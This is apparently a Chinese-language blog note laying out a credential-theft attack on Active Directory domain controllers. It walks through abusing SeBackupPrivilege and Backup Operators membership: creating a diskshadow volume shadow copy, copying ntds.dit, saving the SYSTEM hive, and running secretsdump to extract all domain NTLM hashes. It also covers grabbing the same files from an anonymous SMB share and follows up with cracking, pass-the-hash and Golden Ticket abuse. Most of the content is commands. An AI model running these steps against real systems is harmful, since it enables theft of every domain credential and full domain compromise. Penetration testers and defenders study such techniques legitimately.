当前位置: 首页 > news >正文

NTDS.dit 卷影副本提权笔记

攻击目的:

从域控获取 NTDS.dit(域用户凭据数据库)+ SYSTEM(包含加密密钥) ➡ 提取域用户 NTLM 哈希 ➡ 离线破解 or 横向移动 or Pass-the-Hash

攻击步骤

- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希

一、什么是 SeBackupPrivilege 权限?

允许用户绕过文件或目录的权限(ACL)来读取文件内容,用于“备份”目的。

简单理解:

1、正常用户不能访问 C:\Windows\NTDS\ntds.dit ——系统会拒绝访问。
2、但拥有 SeBackupPrivilege 的用户,可以绕过这个限制读取文件内容(只要你用的是“备份方式”的工具,如 reg save, robocopy, ntdsutil, diskshadow)。
3、⚠️ SeBackupPrivilege 本身不会默认启用,要配合特定命令才能发挥作用。

二、什么是 Backup Operators 组?


Windows 本地组之一

权限说明:

1、成员默认拥有 SeBackupPrivilege 和 SeRestorePrivilege。
2、不需要是管理员,就可以使用:reg saventdsutildiskshadowrobocopy(使用 Backup 模式)

关系图:你可以这样理解

Backup Operators Group⬇(默认拥有)SeBackupPrivilege 权限⬇可读取系统保护文件(如 SYSTEM, NTDS.dit)⬇配合卷影副本技术⬇获取域控哈希⬇离线破解 or 横向移动 or 票据伪造

怎么判断当前用户是否具备这些条件?

判断权限:

whoami /priv
SeBackupPrivilege    Enabled    Back up files and directories

判断用户组:

whoami /groups
Backup Operators 	......

三、适用场景:

条件是否必须说明
当前机器是 域控(DC)✅ 必须NTDS.dit 只存在于域控
当前用户有 SeBackupPrivilege✅ 几乎必需可绕过权限读取系统文件
属于 Backup Operators 组✅ 推荐自动拥有 SeBackupPrivilege
可用 卷影副本 VSS✅ 必须复制 SYSTEM 和 ntds.dit
能访问SMB共享路径(匿名或已登录)✅(共享打法)SMB匿名共享备份目录可直接下载

四、SMB 匿名共享打法

1、如果发现匿名 SMB 共享开放(如 \dc01\backup),且其中包含:

ntds.dit
system.hive

2、直接下载使用:

smbclient \\\\<ip>\\backup -N
# -N 表示匿名连接
get ntds.dit
get system.hive

3、然后使用 secretsdump 提取:

python ./secretsdump.py -ntds ntds.dit -system system.hive local

五、卷影副本打法(非 SMB 共享)

1、下载这两个文件,并上传

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug# SeBackupPrivilegeCmdLets.dll
# SeBackupPrivilegeUtils.dll

2、导入模块

Import-Module ./SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll

3、创建卷影副本

vim vss.dshset context persistent nowriters
add volume c: alias new1
create
expose %new1% z:

4、执行格式转行并上传到可写路径里(没有可以自己创建)

unix2dos vss.dsh
upload vss.dsh 

5、执行目标文件

diskshadow /s vss.dsh

6、获取 ntds.dit 和 SYSTEM hive

将 SYSTEM hive 和 ntds.dit 导出,保存在主机上

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit .\ntds.dit		# 将z盘的ntds.dit保存在当前ntds.dit
reg save HKLM\SYSTEM C:\Users\svc_backup\Documents\tmp\system.hive	# 将C盘的system.hive保存在当前目录

下载后离线破解

7、secretsdump 提取哈希

python ./secretsdump.py -ntds ntds.dit -system system.hive local

六、取成功后可用操作

操作工具说明
离线破解密码hashcatjohn尝试爆破弱口令
横向移动psexec.py, wmiexec.py利用管理员账号的哈希
域控完全控制域管账号可进一步滥用 AD 权限(如 Golden Ticket)

相关文章:

  • vue3文本超出三行显示省略号,点击查看更多显示全部文本
  • AI日报 - 2025年05月26日
  • Android开发namespace奇葩bug
  • 基于SpringBoot+RabbitMQ完成应用通信
  • Hadoop集群部署
  • 如何解决大模型返回的JSON数据前后加上```的情况
  • OpenGL Chan视频学习-7 Writing a Shader inOpenGL
  • 使用队列实现栈和使用栈实现队列
  • vue + ant-design + xlsx 实现表格导出进度提示功能
  • 牛客round94E
  • vue3 数值计算 保留小数位
  • 嵌入式学习之系统编程(五)进程(2)
  • day8补充(中断驱动和队列缓冲实现高效数据处理)
  • 文件管理(第八章、九)
  • PDF处理控件Aspose.PDF教程:以编程方式合并PDF文档
  • 一文带你彻底理清C 语言核心知识 与 面试高频考点:从栈溢出到指针 全面解析 附带笔者手写2.4k行代码加注释
  • DP KVM 为何更难实现 EDID 模拟器?
  • day38python打卡
  • 主流Agent Memory工具or框架对比(Mem0、LangMem、Letta)
  • 若依框架中返回自定义实体类分页数据和总记录数的实现方法
  • 网站建设个体营业执照/中国网民博客 seo
  • 个人备案网站百度收录/河北网站优化公司
  • 基于vue.js旅游网站开发/廊坊百度关键词优化怎么做
  • 本地服务器公网ip wordpress/广州seo网站公司
  • 江门网站制作培训/2023推广平台
  • 淮阳住房城乡建设局网站/广西seo